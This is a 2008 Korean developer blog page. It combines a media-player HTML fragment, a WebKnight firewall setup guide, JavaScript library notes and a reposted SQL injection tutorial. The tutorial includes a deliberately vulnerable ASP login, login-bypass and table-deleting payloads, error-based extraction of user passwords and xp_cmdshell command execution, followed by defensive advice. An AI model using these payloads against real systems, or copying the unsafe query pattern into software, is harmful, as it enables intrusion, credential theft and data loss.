                        strObj += "<param name=\"WindowlessVideo\" value=\"false\">\n";            
                        strObj += "<param name=\"EnablePositionControls\" value=\"true\">\n";
                        strObj += "<param name=\"EnableTracker\" value=\"true\">\n";
                        strObj += "<param name=\"Language\" value=\"-1\">\n";
                        strObj += "<param name=\"Mute\" value=\"false\">\n";
                        strObj += "<param name=\"PlayCount\" value=\"0\">\n";            
                        strObj += "<param name=\"SendWarningEvents\" value=\"true\">\n";
                        strObj += "<param name=\"SendErrorEvents\" value=\"true\">\n";                    
                        strObj += "<param name=\"SendMouseClickEvents\" value=\"true\">\n";
                        strObj += "<param name=\"EnableContextMenu\" value=\"true\">\n";
                        strObj += "</object>\n";

                        runObj(strObj);
                    //-->
                    </SCRIPT>
                    <script language="javascript">
                    function check_media_player_version() {
                        var version = "6.4";
                        if (typeof(moviePlayer) == "object" &&
                            typeof(moviePlayer.versionInfo) != "undefined")
                        {
                            var version = "" + moviePlayer.versionInfo;
                            var version_array = version.split(".");
                            if (version_array.length >= 1 && +version_array[0] >= 8)
                            {
                                moviePlayer.controls.play();
                                return;
                            }
                        }

                        if (true == confirm2(
                            "</b>미디어 플레이어 버전이 낮아<br>"+
                            "동영상재생시 문제가 발생할 수 있습니다.<br>"+
                            "Windows Media Player를<br>"+
                            "<b>9.0 이상</b>으로 업데이트 해주세요.<br>"+
                            "현재 버전은 <b>"+version+"</b>입니다.<br>"+
                            "예를 누르시면 다운로드 페이지로 이동합니다.<br><br>"+
                            "미디어 플레이어 실행후<br>"+
                            "<b>도움말 > 플레이어 업그레이드 확인</b> 메뉴로<br>"+
                            "최신버전으로 업그레이드가 가능합니다."))
                        {
                            window.open("http://www.microsoft.com/windows/windowsmedia/download/default.asp?displang=ko", "_blank");
                        }

                        //moviePlayer.controls.play();
                    }
                    check_media_player_version();
                    </script>
                </div>
    </td>
  </tr>
  <tr>
    <td height="45" valign="bottom" bgcolor="#f6f6f6">
    <table width="330" height="44" border="0" cellpadding="0" cellspacing="0" background="http://www.blueb.co.kr/SRC/javascript/image5/movie/movie_player_back.gif">
      <tr>
        <td valign="top" style="padding-top:2px; padding-left:5px; padding-right:5px; ">
        <table width="100%" height="42"  border="0" cellpadding="0" cellspacing="0">
            <tr>
              <td height="10" background="http://www.blueb.co.kr/SRC/javascript/image5/movie/movie_player_03.gif">
            <!--로딩 /배경/ 테이블 시작 -->
            <table width="100%"  border="0" cellspacing="0" cellpadding="0">
              <tr>
                <td width="4"></td>
                <td>
                <table width="100%" border="0"  cellspacing="0" cellpadding="0">
                  <tr>
                    <td><img src="http://www.blueb.co.kr/SRC/javascript/image5/movie/movie_player_bt_04.gif" height="10" id='musicprocess' style='display:none'><img src="http://www.blueb.co.kr/SRC/javascript/image5/movie/movie_player_bt_05.gif" width="15" height="10" border="0"></td>
                  </tr>
                </table>
                </td>
                <td width="4"></td>
              </tr>
            </table>
            <!--로딩 /배경/ 테이블 끝-->
              </td>
            </tr>
            <tr>
              <td height="32" valign="bottom"><!-- 플레이 바 하단 테이블 시작  -->
                  <table width="100%" height="29"  border="0" cellpadding="0" cellspacing="0">
                    <tr>
                      <td valign="top"><img src="http://www.blueb.co.kr/SRC/javascript/image5/movie/blank.gif" width="65" height="11" hspace="6" vspace="6" border="0"></td>
                      <td width="126" valign="top" style="padding-top:2px; "><!--사운드 조정 전체 테이블 시작 -->
                          <table width="100%"  border="0" cellspacing="0" cellpadding="0">
                          <form name="soundForm">
                          <input type="hidden" name="volumnum" size="10">
                            <tr>
                              <td width="21">
                                <!--사운드 버튼 / 음소거 버튼 movie_player_bt_10.gif -->
                                <img src="http://www.blueb.co.kr/SRC/javascript/image5/movie/movie_player_bt2_10.gif" width="21" height="21" border="0" style="cursor:hand;" onclick="onMovieSoundoff();" name="soryButton"></td>
                              <td background="http://www.blueb.co.kr/SRC/javascript/image5/movie/movie_player_16.gif"><!--음향 크기 /배경/ 테이블 시작-->
                                  <table width="100%" height="12"  border="0" cellpadding="0" cellspacing="0">
                                    <tr>
                                      <td width="2"></td>
                                      <td><!--음향 크기 /활성화/ 테이블 시작-->
                                        <div ID='vol' NAME='vol' STYLE='Position: relative; Left:60px; Top:0px;'>
                                          <table width="9" border="0" cellspacing="0" cellpadding="0">
                                            <tr onMousedown='javascript:onInitVol();' style='cursor:hand'>
                                              <td background="http://www.blueb.co.kr/SRC/javascript/image5/movie/movie_player_bt_25.gif"><img src="http://www.blueb.co.kr/SRC/javascript/image5/movie/blank.gif" width="1" height="1"></td>
                                              <td><img src="http://www.blueb.co.kr/SRC/javascript/image5/movie/movie_player_bt_26.gif" name="bu08" width="9" height="13" border="0" style="cursor:hand;"></td>
                                            </tr>
                                          </table>
                                        </div>
                                          <!--음향 크기 /활성화/ 테이블 끝-->
                                      </td>
                                      <td width="2"></td>
                                    </tr>
                                  </table>
                                  <!--음향 크기 /배경/ 테이블 끝-->
                              </td>
                            </tr>
                            </form>
                          </table>
                          <!-- 사운드 조정 전체 테이블 끝-->
                      </td>
                      <td width="13"></td>
                      <td width="72" align="center" valign="bottom" background="http://www.blueb.co.kr/SRC/javascript/image5/movie/movie_player_07.gif"><table width="100%"  border="0" cellspacing="0" cellpadding="0">
                        <tr align="center">
                          <td width="50%">
                          <img src="http://www.blueb.co.kr/SRC/javascript/image5/movie/movie_player_bt_17.gif" width="26" height="24" vspace="2" border="0" align="absbottom" style="cursor:hand;" onclick="onMoviePlay()" name="paly_img"></td>
                          <td width="50%">
                          <!-- 정지버튼 -->
                          <img src="http://www.blueb.co.kr/SRC/javascript/image5/movie/movie_player_bt_19.gif" width="26" height="24" vspace="2" border="0" style="cursor:hand;" onclick="onMovieStop();"></td>
                        </tr>
                      </table></td>
                      <td width="4"></td>
                    </tr>
                  </table>
                  <!--플레이 바 하단 테이블 끝 --></td>
            </tr>
        </table></td>
      </tr>
    </table></td>
  </tr>
</table>
2008/06/04 15:16 2008/06/04 15:16
공개웹방화벽 WebKnight 를 이용한 홈페이지 보안에 대해 설명을 드리도록 하겠습니다.

WebKnight는 ISAPI 필터 형태로 동작하며, IIS 서버 앞단에 위치하여 웹서버

로 전달되기 이전에 IIS 웹서버로 들어온 모든 웹 요청에 대해 웹서버 관리자가 설정한 필터 룰에 따

라 검증을 하고 SQL Injection 공격 등 특정 웹 요청을 사전에 차단함으로써 웹서버를 안전하게 지켜

준다. 이러한 룰은 정기적인 업데이트가 필요한 공격 패턴 DB에 의존하지 않고 SQL Injection, 디렉

토리 traversal, 문자 인코딩 공격 등과 같이 각 공격의 특징적인 키워드를 이용한 보안필터 사용으로

패턴 업데이트를 최소화하고 있다. 이러한 방법은 알려진 공격 뿐만 아니라 알려지지 않은 공격으로

부터도 웹서버를 보호할 수 있습니다.


먼저 AQTRONIX Webknight.zip 파일을 다운 받습니다.


AQTRONIX Webknight.zip  파일은 본인이 아티보드로 프로젝트를 여러번 하면서

아티보드 에 맞도록 설정한 파일입니다.
(설정 하는 부분이 나름 어려워)

C:\Program Files\AQTRONIX Webknight
이곳에 압축을 푼다

LogFiles, :로그 폴더
Config.exe, :설정파일
denied.htm,
Loaded.xml,
LogAnalysis.exe, :로그 뷰어
readme.htm,
robots.txt, :검색로봇 관련
Robots.xml,
WebKnight.dll, :IIS 로드
WebKnight.xml

폴더 및 파일이 있습니다.

자 이제 윈도우 2003 서버 기준으로 - 인터넷 정보 서비스 (IIS) 관리를 실행 시키고


/웹사이트/ 오른쪽마우스/속성클릭/ - ISAPI필터 클릭/ 우측 - 추가 클릭

필터 이름에 WEBARTY

실행파일에 C:\Program Files\AQTRONIX Webknight\WebKnight.dll 삽입

서비스 탭에서 /격리모드에 IIS 5.0 격리 모드에서 WWW 서비스 실행 (I) 채크 하시고

IIS 다시 시작 하시면 정상 작동 합니다.

격리모드 채크 안하면 오류가 날수 있으므로 각별히 신경 써야 합니다.

-아래-

관련 정보
http://www.krcert.or.kr/firewall2/index2.jsp

설치 메뉴얼 http://www.krcert.or.kr/firewall2/fwDown2.jsp?fkind=11

원본 파일. :


동영상 메뉴얼
http://www.krcert.or.kr/firewall2/fwDown2.jsp?fkind=13

참고 하세요.

그럼 오늘도 즐겁고 행복한 하루되세요
2008/06/03 21:49 2008/06/03 21:49

▶ ▶ ▶ ▶ ▶ ▶ ▶ SQL INJECTION ◀ ◀ ◀ ◀ ◀ ◀ ◀

꽤 오랜 기간 이어져온 이슈였지만 여전히 그 피해사례의 심각성 및 중요성에 비해
간과되어왔던 부분 중 대표적인 것이 SQL Injection 일 것이다.
많은 응용프로그램에서 개발자의 보안마인드 부족과 결과위주의 접근, 지식의 부재 등

여러 이유로 인해 SQL Injection 공격에 취약성이 발견된다.
실제로 현존하는 여러 웹사이트에서 단순한 공격이 성공하고 있다
.
특히 SQL Injection 공격은 특별히 보안(해킹)관련 지식이 풍부하지 않아도 간단히

수행할 수 있는 공격방법이라서 그 위험성은 아주 크다고 볼 수 있다.

지금부터 SQL Injection 의 여러 공격방법들을 살펴보고 그 심각성을 직접 느껴 본 뒤

적절한 대응책에 대해 알아 본다.

☞ 테스트를 위한 환경설정
1. 회원가입을 처리하는 ASP 페이지를 아래와 같이 만들고 웹 서버에 등록시킨다

- LoginForm.asp -
<html>

  <head>

  <title>SQLInjection Demo</title>   

  <script language="javascript">

     function CheckForm(){

       form = document.LoginForm;

       if(form.MemberID.value.length < 1 ){

         alert("아이디 입력하쇼");

         form.MemberID.focus();

         return false;

       }

       if(form.Password.value.length < 1 ){

         alert("비밀번호 입력하쇼");

         form.Password.focus();

         return false;

       }

       return true;

     }

  </script>

  </head>

  <body>   

  <form name="LoginForm" method="post" action="LoginOK.asp" onSubmit="return CheckForm();">     

     <table border=1 width=500>

       <tr>

         <td width=100>아이디</td>

         <td>

           <input type="text" name="MemberID" size="15">

         </td>

       </tr>

       <tr>

         <td>비밀번호</td>

         <td>

           <input type="text" name="Password" size="40">

         </td>

       </tr>

       <tr align=center>

         <td colspan="2">

           <input type="submit" value=" 로그인 ">        

        </td>

       </tr>

     </table>     

  </form>   

  </body>

</html>

- LoginOK.asp -
<script language="javascript">

  function Error(){

  alert("계정이 다르거나 비밀번호가 다릅니다\n확인후 다시 시도해 주세용~");

  history.back(-1);

  }

</script>

<%

  MemberID = Request("MemberID")

  Password = Request("Password")

 

  strConnect="Provider=SQLOLEDB.1;Persist Security Info=False;User ID=sa;Initial Catalog=SQLInjection;Data Source=(local);Password=1111;"

  set conn = server.createobject("adodb.connection")

  conn.open strConnect

  SQL = "Select * From Tbl_Members Where MemberID = '"& MemberID &"' And Password = '" & Password & "'"

  'SQL = "Select Age From Tbl_Members Where MemberID = '" & MemberID & "'"

  Response.Write SQL

  'Response.ENd

   

  Set Rs = conn.Execute(SQL)

 

  IF Not Rs.EOF Then            '로그인이 성공하면 마이페이지로 보낸다   

  Session("MemberID") = Rs(0)

  Response.Redirect "MyPage.asp"

  ELSE                          '로그인이 실패하면 이전페이지로 다시 보낸다

  Response.Write("<script language='javascript'>Error();</script>")

  END IF

 

  Rs.close

  Set Rs = Nothing

  conn.close

  set conn = nothing

%>


2.
데이터베이스와 테이블을 생성한다
  - SQLInjection
이라는 이름의 데이터베이스 생성
  - Tbl_Members
라는 테이블 생성
  Tbl_Members
테이블 스키마

            MemberID             varchar   20          0

            Password            varchar   20          0

            Name      varchar   50          0

            Age        int          4            0


 
아래와 같이 데이터를 삽입해 둔다

            admin     haha      관리자    30

            test        kaka       테스트맨              31

            babo      huk        바보              32


이렇게 asp와 데이터베이스의 셋팅을 하고 공격유형을 하나하나 살펴보자.


☞ 공격1> 전형적인 공격방법
1.
관리자 계정을 알아낸다
  (
물론 꼭 관리자 계정이 아니라도 되지만.. 여하튼 기 등록된 계정을 알아낸다
 
애인의 계정만 알고 비밀번호를 모를 경우 애인 계정으로 해봐도 되겠정 ^^;)

-
회원가입시 제공되는 회원ID 중복 체크에서 관리계정으로 추정되는

  (
: admin, master, administrator, 사이트도메인명 등) ID 를 알아 낸다

2.
전형적인 홑따옴표와 sql주석문 삽입으로 관리계정으로 로그인 시도한다
 
응용프로그램의 동적쿼리 예시 :
 
셋팅한 asp파일(LoginOK.asp) 로그인시 아이디와 패스워드를 검증하는

 
쿼리가 아래와 같았다.
  (
아직까지 많은 응용프로그램에서 아래와 같은 쿼리가 사용되어 지고 있다
)
  SQL = "Select * From Tbl_Members
        Where MemberID = '"&MemberID &"' And Password = '" & Password & "'"


사례1> 아이디 입력란에 ‘(홑따옴표) 와 주석 삽입으로 불벌 로그인 시도

삽입값 :  admin’--
실행되는 쿼리 :
Select * From Tbl_Members Where MemberID = 'admin'--' And Password = '
아무거나
'
결과
:
비밀번호를 검증하는 부분을 sql 주석으로 만들어 버렸다
.
admin
이라는 id가 존재하기 때문에 위 쿼리는 정상실행되고 불법사용자는

admin
으로 로그인 하게 된다.


사례2>비밀번호 입력란에‘(홑따옴표) or 조건 및 주석문 삽입으로 역시 불법 로그인 시도

삽입값 : ' or 1=1;--    
실행되는 쿼리 :
Select * From Tbl_Members Where MemberID = 'admin' And Password = '' or 1=1;--'
결과 :
 
비밀번호를 검증하는 부분에 1=1 이라는 항상 참인 조건을 or 조건으로 삽입했다
.
 
역시 admin으로 로그인이 성공하게 된다.


사례3>> 아이디 컬럼명을 알고 있을 경우 불법 로그인 성공(충분히 알 방법이 있습니다)

삽입값 : 1’ or MemberID=’admin
실행되는 쿼리 :
  Select * From Tbl_Members Where MemberID = 'admin' And Password = '1'
  or MemberID='admin'
결과 :
 
역시나 or 조건이 참이므로 admin으로 로그인이 성공하게 된다.


사례4> 회원테이블 명을 알고 있을 경우 회원테이블 삭제를 시도한다(아주 치명적입니다)

삽입값 : ' or 1=1;Delete From Tbl_Members--
실행되는 쿼리 :
Select * From Tbl_Members Where MemberID = 'admin' And Password = '' or 1=1;
  Delete From Test-- '
결과 :
 
회원테이블의 삭제를 시도 합니다. 보통 로그인을 처리하는 데이터베이스 계정은

 
회원테이블의 삭제 권한이 있지요.. 따라서 아주 자~알 삭제됩니다


위 방법은 아주 SQL Injection 의 아주 보편적이고 전형적인 방법들입니다.
이외에도 무수히 많은 형태의 조합이 나오겠지요..(조금만 생각해보면 아주 많죠)
정말 큰일이 아닐 수 없네요..
다음으론 의도적인 SQL 오류를 발생시켜서 데이터베이스의 유용한 정보들을
깨내는 데모를 보여드리겠습니다




☞ 공격2> 의도적인 에러유발 후 데이터베이스 정보 유출 시도

사례1> 컬럼명 알아내기

로그인 폼을 소스보기 하면 MemberID 텍스트 박스의 name 정보를 알수 있습니다.
이것을 활용해 회원테이블의 패스워드 컬럼명을 알아내 봅시다

아래와 같은 url IE에서 바로 접근한다

http://localhost:1212/SQLInjection/LoginOK.asp?MemberID=
아무거나'
IE
는 친절하게도 아래와 같은 아주 친절한(?) 오류메세지를 보여줍니다


Microsoft OLE DB Provider for SQL Server 오류 '80040e14'
'
아무거나' And Password = '' 문자열 앞에 닫히지 않은 인용 부호가 있습니다
.
/SQLInjection/LoginOK.asp,
20


  결과 : 위 오류메세지로 인해 비밀번호 컬럼명이 Password 란 것을 알 수 있습니다.



사례2> 테이블 명 알아내기

  알아낸 패스워드 컬럼을 그룹핑 합니다.
  http://localhost:1212/SQLInjection/LoginOK.asp?MemberID=
아무거나'
   group by (Password) --
  역시 ie는 친절하게도 아래와 같은 오류 메시지를 보여줍니다


Microsoft OLE DB Provider for SQL Server 오류 '80040e14'
'Tbl_Members.MemberID'
열이 집계 함수나 GROUP BY 절에 없으므로 SELECT 목록에서 사용할 수 없습니다
.
/SQLInjection/LoginOK.asp,
20

  결과 :
여기서 우리는 회원테이블명이 Tbl_Members 라는 것을 알수 있습니다

(
덤으로 컬럼명도 하나더 얻었네요 ^^)
추가적으로 다른 컬럼들도 알아내 봅시다.
이미 알아낸 MemberID,Password 컬럼을 group by함으로써 또 다른 컬럼명을

얻을 수 있습니다
. ( group by (Password),(MemberID) )
이 방법으로 모든 컬럼을 알 수 있습니다.(암울 하지요
-.-)
http://localhost:1212/SQLInjection/LoginOK.asp?MemberID=
아무거나
' group by (Password) , (MemberID) --

Microsoft OLE DB Provider for SQL Server 오류 '80040e14'
'Tbl_Members.Name'
열이 집계 함수나 GROUP BY 절에 없으므로 SELECT 목록에서 사용할 수 없습니다
.
/SQLInjection/LoginOK.asp,
20


또 다른 컬럼명(Name)를 알수 있지요..
이런식으로 계속 해 나가면 Tbl_Member 테이블에 모든 컬럼을 알 수 있게 됩니다


  사례3> 특정 테이블 컬럼의 데이터타입 알아내기
  위에서 알아낸 테이블 컬럼명을 사용해서 타입이 다르도록 유도하여 UNION을 시킵니다.
  (
공격자는 시간이 아주 많고 끈기도 강합니다. 무수한 조합이라도 무수히 시도합니다
)
  마침 아래에 Age 필드를 맨 앞으로 놓으니깐 아래과 같은 오류가 납니다
.
  http://localhost:1212/SQLInjection/LoginOK.asp?MemberID=admin' UNION Select Top 1 Age,Password,MemberID,Name FROM Tbl_Members --

  이랬더니 아래와 같은 오류가 나옵니다


Microsoft OLE DB Provider for SQL Server 오류 '80040e07'
varchar
'admin'() int 데이터 형식의 열로 변환하는 중 구문 오류가 발생했습니다
.
/SQLInjection/LoginOK.asp,
20


 

  결과
  즉 회원테이블의 MemberID컬럼의 타입이 varchar이란 것을 알게 되었습니다.
  (
아무것도 아니죠?? 이미~~ 예상했던 타입입니다.. 만 공격자들은 이런곳에서도

  희열을 느낍니다. .. 사실 저도 테스트 중에 많은 희열을 느낍니다 ^^;)

  내부적으로 실행된 코드는 아래와 같겠죠..

  Select * From Tbl_Members Where MemberID = 'admin'

  UNION Select Top 1 Age,Password,MemberID,Name FROM Tbl_Members --' And Password = ''

  여기까지만 해도 회원테이블의 테이블명, 컬럼명, 컬럼의 데이터 타입의 정보를
  모두 캐낼 수 있습니다.



☞ 공격2> 회원아이디 및 비밀번호 알아내기
  (
아주 흥미로운 결과를 알 수 있습니다)
위에서 회원가입폼에서 아이디중복확인 이라는 곳에서 존재하는 아이디를
알 수 있다고 했습니다
그러나 이 방법은 좀 무식하지요.. (회원아이디를 모르는 상태에서 무작위로 검사를 하니깐)
우리는 이미
회원테이블의 많은 것(?)을 알고 있는 상태입니다.
굳이 아이디중복확인 이라는 방법을 사용할 필요가 없습니다

가정을 하나 해보겠습니다.
만일 서버에 아래와 같은 동적 쿼리가 있다고 칩시다
.
SQL = “Select Age From Tbl_Members Where MemberID = ‘” & MemberID & "'"
회원아이디를 입력 받아서 나이를 돌려받는 쿼리 입니다
.
물론 위와 같은 동적쿼리가 서버에 있다는 보장은 없습니다
.
그러나 굳이 찾으려고만 든다면 찾을 수 있습니다
.
중요한 것은 위 쿼리처럼 varchar(nvarchar) 이 아닌 컬럼(위에서는 Age)을 돌려주는
쿼리를 찾으면 됩니다(예상 가능한 항목이 많지요..^^)

여하튼 위와 같은 쿼리가 있구요


보통 회원아이디와 비밀번호는 스트링형태로 저장됩니다.
따라서 varchar 이나 nvarchar 일 가능성이 큽니다
.

사례1> 회원테이블에서 모든 회원 아이디 얻기

Age
컬럼과 MembeID 컬럼을 UNION 함으로써 회원테이블의 첫번째 회원의
아이디를 알아 봅시다
.
위에서 이미 알아본 방식입니다만, 다시 언급합니다
.

공격방법
>
아래와 같이 웹브라우저에서 바로 접근

http://localhost:1212/SQLInjection/LoginOK.asp?MemberID=admin' UNION Select Top 1 MemberID FROM Tbl_Members --
실행되는 쿼리 :
Select Age From Tbl_Members Where MemberID = 'admin' UNION Select Top 1 MemberID FROM Tbl_Members --'

-
오류메세지 -

Microsoft OLE DB Provider for SQL Server 오류 '80040e07'
varchar
'admin'() int 데이터 형식의 열로 변환하는 중 구문 오류가 발생했습니다
.
/SQLInjection/LoginOK.asp,
20

결과 :
~~
여기서 우리는 회원테이블에 첫번째로 저장된 회원id admin 임을 알아 냈습니다.


좀더 해볼까요… (모든 회원아이디를 다 알아봅시다)
admiin
을 알아냈으니 두번째로 저장된 id를 알아 봅시다

아래와 같이 실행 합니다(admin 아이디를 제외한 아이디란 말이죠)
http://localhost:1212/SQLInjection/LoginOK.asp?MemberID=admin' UNION Select Top 1 MemberID FROM Tbl_Members Where MemberID
NOT IN ('admin') --

실행되는 쿼리 :
Select Age From Tbl_Members Where MemberID = 'admin' UNION Select Top 1 MemberID FROM Tbl_Members Where MemberID NOT IN ('admin') --'

- 오류메세지 -

Microsoft OLE DB Provider for SQL Server 오류 '80040e07'
varchar
'test'() int 데이터 형식의 열로 변환하는 중 구문 오류가 발생했습니다
.
/SQLInjection/LoginOK.asp,
20

결과 : 두번째 아이디는 test 이군요..

재밌지요?? 한번만 더 해봅시다.
http://localhost:1212/SQLInjection/LoginOK.asp?MemberID=admin' UNION Select Top 1 MemberID FROM Tbl_Members Where MemberID NOT IN ('admin','test') --

실행되는 쿼리
:
Select Age From Tbl_Members Where MemberID = 'admin' UNION Select Top 1 MemberID FROM Tbl_Members Where MemberID NOT IN ('admin',’test’) --'

-
오류메세지 -

Microsoft OLE DB Provider for SQL Server 오류 '80040e07'
varchar
'babo'() int 데이터 형식의 열로 변환하는 중 구문 오류가 발생했습니다
.
/SQLInjection/LoginOK.asp,
20


결과 : 세번째 아이디는 babo 군요.. 캬캬..


이런식으로 계속 시도하면 회원테이블의 아이디를 모두 알 수 있겠죠..

.. 그럼 아이디는 이제 그만 하구요.. 핵심.. 비밀번호를 알아봅니다


사례2> 특정 회원의 비밀번호 알아내기
이제 아이디를 많이 알아냈으니 그 아이디들의 비밀번호를 알아볼 차례입니다.

아래와 같이 실행합니다

http://localhost:1212/SQLInjection/LoginOK.asp?MemberID=admin' UNION Select Top 1
Password FROM Tbl_Members Where MemberID = 'admin' --

실행되는 쿼리 :
Select Age From Tbl_Members Where MemberID = 'admin' UNION Select Top 1 Password FROM Tbl_Members Where MemberID = 'admin' --'


- 오류메세지 -

Microsoft OLE DB Provider for SQL Server 오류 '80040e07'
varchar
'haha'() int 데이터 형식의 열로 변환하는 중 구문 오류가 발생했습니다
.
/SQLInjection/LoginOK.asp,
20

결과 :
드뎌 나왔습니다. 너무나도 친절하게도

admin
의 비밀번호는 haha 라고 ie는 말해 줍니다.. 신이시여..

이 희열.. 이 감동.. 난 해커야.. 캬캬


그럼 babo 이놈의 비밀번호는 뭘까? 궁금해 집니다.
http://localhost:1212/SQLInjection/LoginOK.asp?MemberID=admin' UNION Select Top 1 Password FROM Tbl_Members Where MemberID = 'babo' --

-
오류메세지 -

Microsoft OLE DB Provider for SQL Server 오류 '80040e07'
varchar
'huk'() int 데이터 형식의 열로 변환하는 중 구문 오류가 발생했습니다
.
/SQLInjection/LoginOK.asp,
20

결과 : 캬캬.. huk 라는 비밀번호를 쓰는군요 (역시 babo 스럽습니다..)


이렇게 하여 우리는 회원테이블에 모든 아이디와 비밀번호를 알 수가 있었습니다.

중간 점검 :
사용자 입력값의 검증 못지않게 웹서버의 에러페이지에 관한 핸들링도 상당히

중요합니다, 기본적으로 에러페이지는 커스텀에러페이지를 따로 만들어 사용합시다


공격4> 시스템 명령어 실행

http://localhost:1212/SQLInjection/LoginOK.asp?MemberID=admin'; EXEC master.dbo.xp_cmdshell' cmd.exe dir c:'--

MSSQL
내장프로시저 xp_cmdshell 을 이용하여 웹서버의 C디렉터리 정보를
캐내려 합니다.(시스템 명령 실행 가능)
이와 같은 내장 프로시저는 아주 많지요
..
ex: xp_grantlogin(
로그인 권한 승인) , xp_regdeletekey (레지스트리 키 삭제) 등등..


이로써 아주 쉽고도 강력한 공격방법들을 알아 보았습니다
생각하면 할수록 새로운 방법들이 새록새록 나올 것입니다.
SQL Injection
은 쉬운 공격에 반해 그 피해는 아주 크다고 볼 수 있습니다
.
그럼.. 본 글을 핵심
!!
SQL Injection 의 완벽 대응책을 알려 드립니다



SQL INJECTION 의 대응책

* 인젝션 공격의 취약성
원인 : 사용자의 입력값을 검증하지 않음

위험요소 : 동적쿼리, 사용자 입력값을 파라메타로 넘겨받는 저장 프로시저
공격유형
  1.
불법 로그인 시도
  2.
고의적 에러발생 : 데이터베이스 조회(db,table,column, 타입등) 후 공격
  3.
시스템 명령어 삽입
  4.
계정/비밀번호 확인
  5.
위험쿼리 실행(DROP,DELETE,UPDATE )
  6.
기타 등등


* 공격 대응책
1. 사용자의 입력값을 받아서 동적쿼리나 저장프로시저를 실행하는 곳이 있다면
 
반드시 그 입력값을 검증하라.
 
위험요소가 있는 입력값은 아래와 같습니다.
  ‘ (
홑따옴표) , -- (sql주석) , ;(sql명령구분자) , “(쌍따옴표), =
 
이런 값들은 원천적으로 봉쇄해버리는 것이 좋습니다
 
2.
서비스 SQL 계정의 권한을 최소한으로 하라.
  SQL
계정의 권한이 막강하다면 시스템명령어 수행, DROP, Delete 등 수행가능
 
또한 Select 권한과 update/delete/insert 권한을 따로 둔다.

3.
웹페이지의 오류정보는 숨겨라.
 
의도적인 sql구문 오류를 유발하여 에러메시지를 보고자 하는 공격에 대비하여
 
커스텀 오류페이지를 따로 만들어서 최소한의 정보만 보여주는 것이 좋습니다.
  (ASP.NET
에서는 관리자만 볼수 있는 오류페이지와 일반 사용자가 볼수 있는
 
오류 페이지를 따로 구분할수 있는 XML기반의 설정파일이 제공됩니다.
 
이 역시 이런류의 문제점을 방지하고자 MS에서 제공하는 것이겠지요??)
  ASP
PHP JSP 는 커스텀 오류페이지를 나타나게 할 수 있습니다.
  (
다 알지요?)

4.
.. 뭐가 있을까요
 
.. 만에 하나를 대비하는 DB백업.
 
.. 다들 고민 해 봅시다.

* SQL Injection
공격하는 놈 찾아내기
 
위의 공격방법 중 의도적인 오류를 발생하는 부분이 있었습니다.
 
이 경우 웹서버는 이런 오류를 500 (서버오류) 로 나타냅니다.
 
500 오류에 대한 로그를 확인해서 특별히 오류가 나타날 소지가 없는
 
페이지에서 계속적으로 500 오류가 난다면 우선 의심해 봐야 합니다.

또한 동일한 페이지를 계속적으로 로딩하는 놈이 있다면 역시 의심대상입니다.
SQL Injection
은 여러 번 시도해봐야 유용한 정보를 캐낼 수 있습니다
따라서 동일한 페이지를 계속 호출하는 클라이언트가 있다면 응징의 대상일
가능성이 높습니다.

웹서버를 운영하는 회사에서는 될 수 있으면 많은 로그를 남기는게 보안상 좋습니다.
또한 로그파일의 주기적인 점검 또한 수반되어야 겠지요..
당신이 프로그래머라면 로그파일을 자동으로 분석해 SQL Injection 공격을
찾아내는 좋은 프로그램을 개발 할 수도 있을 것입니다

출처 : Tong - nicekiller77님의 데이터베이스통

2008/05/19 16:51 2008/05/19 16:51
이미지 로더(업로더가 아님)
  • YUI-Image Loader - 화면에 이미지가 출력될 시간을 조절하는 라이브러리(초기 로딩시간을 지연시켜 Performance에 대한 효과를 얻을 수 있다.)
슬라이더
Context Menu - 마우스 오른쪽 버튼을 눌렀을 때 나오는 팝업 메뉴
JavaScript to HTML
SVG
  • InputDraw - 결과물을 SVG로 저장할 수 있게 해준다. 입력은 Flash로 받는다.
  • reflex.js - 이미지가 반사된 효과(Cover flow effect)를 내게 해주는 라이브러리입니다. (ff1.5+, opera9+, ie6+ 를 지원합니다.) 반사된 효과를 주고 싶은 이미지 태그에 class="reflex"를 설정하면 onload 타임에 반사효과를 보여줍니다.

Editor
  • Rich Text Editor - YUI 2.3에 포함되어 있다. Safari 2.0을 지원한다. Selection을 에뮬레이션을 한다. 가볍다.
  • Code Press - 입력 시 Syntax Highlighting을 처리한다. 입력하는 텍스트를 파싱하여서 선택한 문법에 따라서, 입력한 텍스트에 태그를 먹이거나 css를 설정한다. 생각보다는 무겁지 않다. 독립적 애플리케이션으로 붙인다면 재미있을 듯..
압축
  • YUI Compressor - 압축률이 DOJO보다 높고 JSMin보다 안전하다. evil 메소드에 대해서는 처리하지 않는다.
Clipping
  • pzImageCombine - 같은 디렉토리에 있는 여러 이미지를 하나의 이미지로 합쳐서 보여주는 라이브러리
Popup
  • Popup Politicians - 팝업을 띄워서 개인의 프로파일을 소개해주는 라이브러리
  • YUI lightbox: Drag&Drop, Image preloading, Max/Minimize dialog
달력
  • DatePicker - prototype.js, script.aculo.us기반의 날짜 선택 컴포넌트

CSS Crossfader
파일업로더
  • SWFUpload: 파일타입지정, 다중파일업로드, 파일크기를 비롯한 파일정보를 업로드전에 리턴, 버튼은 html+css
생략표시

※ 자바스크립트 라이브러리 요약입니다.
※※ 도움이 되셨다면 오른쪽 메뉴 아래에 보이는 광고를 클릭해주세요 쿠쿠쿠 ^^

[출처] 각종 JS|작성자 향피뤼

2008/03/26 18:47 2008/03/26 18:47

사용자 삽입 이미지
What is SWFUpload

A small javascript/flash library to get the best of both worlds - The great upload capabilitys of flash and the accessibility and ease of html/css

FLASH와 JAVASCRIPT로 구성한 다중(?) 업로드 컴포넌트(?)정도 되겠다.
태터에서 파일을 업로드 할 경우 여러 파일을 한번에 선택해서 업로드 하는 방식을 구현해 볼려고 찾다가 발견,
방식은 플래시에서 파일 선택창을 열도록 하고 선택한 파일을 실제 업로드 되는 경로로 던져주는 역활을 한다.

각 상황에(JSP,PHP,ASP.NET...) 적당한 짤막한 소스가 있으며, 사용방법 또한 매우 간단하다.
필요한 여러가지 이벤트 처리기능이 있으며, 플래쉬 액션 스크립트에 자신이 있다면 원본 소스를 제공 하고 있으니 수정하는것도 가능

LINK : SWFUpload HomePage
DOWNLOAD LINK : SWFUpload Download

2008/03/26 18:40 2008/03/26 18:40
1. 대소문자의 구분

  asp 에서는 다른 언어와는 달리 대소문자의 구분이 없다. 그냥 단지 알아보기 쉽게 하기 위해서 대소문자를 사용하는 것이다.

  예) dim strname 는 Dim strName 과 같은 구문이다.


2. 변수 선언

- 변수나 배열의 변수 선언에는 dim 을 사용한다.

- Option Explicit 를 asp 맨 앞에 사용하여 변수를 꼭 선언하도록 하였으면 모든 변수는

   dim 으로 선언하여 사용하여야한다.

